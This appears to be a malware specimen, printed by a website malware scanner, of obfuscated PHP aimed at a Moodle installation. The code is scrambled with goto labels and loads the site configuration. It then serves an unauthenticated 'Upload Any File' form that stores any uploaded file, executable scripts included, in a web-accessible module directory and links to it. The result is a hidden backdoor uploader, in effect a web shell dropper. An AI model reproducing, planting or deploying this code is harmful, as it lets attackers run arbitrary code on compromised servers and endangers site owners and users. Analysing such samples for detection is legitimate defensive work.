goto jmpm1; N8dP1: $file = $_FILES["file"]; goto ALZnW; HJx3S: OdXiE: goto g2oFo; B0lUC: echo $message; goto E8Bs_; uLJK8: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"]))) { goto hFWQq; } goto N8dP1; DOIsm: B1Fdk: goto f5kqd; E6kQS: cI_tg: goto i5IKA; CKSut: $message = "❌ Failed to upload file."; goto b24wI; H_SxY: echo " <p><a href=""; goto sWumJ; thbQD: $uploadedUrl = ''; goto uLJK8; jmpm1: require_once __DIR__ . "/../../config.php"; goto vC3Ul; b24wI: goto cI_tg; goto DOIsm; i5IKA: hFWQq: goto YzMXs; ALZnW: $filename = basename($file["name"]); goto I4OxH; o1p8v: echo "" target="_blank">🔗 Open Uploaded File</a></p>
"; goto HJx3S; zII3q: if (!$uploadedUrl) { goto OdXiE; } goto H_SxY; tTrFh: $message = ''; goto thbQD; YzMXs: echo "<!DOCTYPE html>\xd
<html>\xd\xa<head>\xd
<title>Upload Any File</title>
\xa <meta charset="utf-8">
\xa</head>\xd\xa<body style="font-family:sans-serif; padding:2em;">\xd
<h2>Upload Any File to mod/interactivity</h2>\xd\xa <form method="POST" enctype="multipart/form-data">\xd
<input type="file" name="file" required>\xd\xa <button type="submit">Upload</button>\xd
</form>
\xa <p>"; goto B0lUC; E8Bs_: echo "</p>\xd\xa "; goto zII3q; sWumJ: echo $uploadedUrl; goto o1p8v; SxuY8: if (move_uploaded_file($file["tmp_name"], $destination)) { goto B1Fdk; } goto CKSut; I4OxH: $filename = preg_replace("/[^A-Za-z0-9_\-.]/", "_", $filename); goto wZvRZ; f5kqd: $message = "✅ File uploaded successfully to: <br><code>{$destination}</code>"; goto JDPW0; wZvRZ: $destination = $targetDir . $filename; goto SxuY8; JDPW0: $uploadedUrl = $CFG->wwwroot . "/mod/interactivity/" . rawurlencode($filename); goto E6kQS; vC3Ul: $targetDir = $CFG->dirroot . "/mod/interactivity/"; goto tTrFh; g2oFo: echo "</body>
</html>";
© 2023 Quttera Ltd. All rights reserved.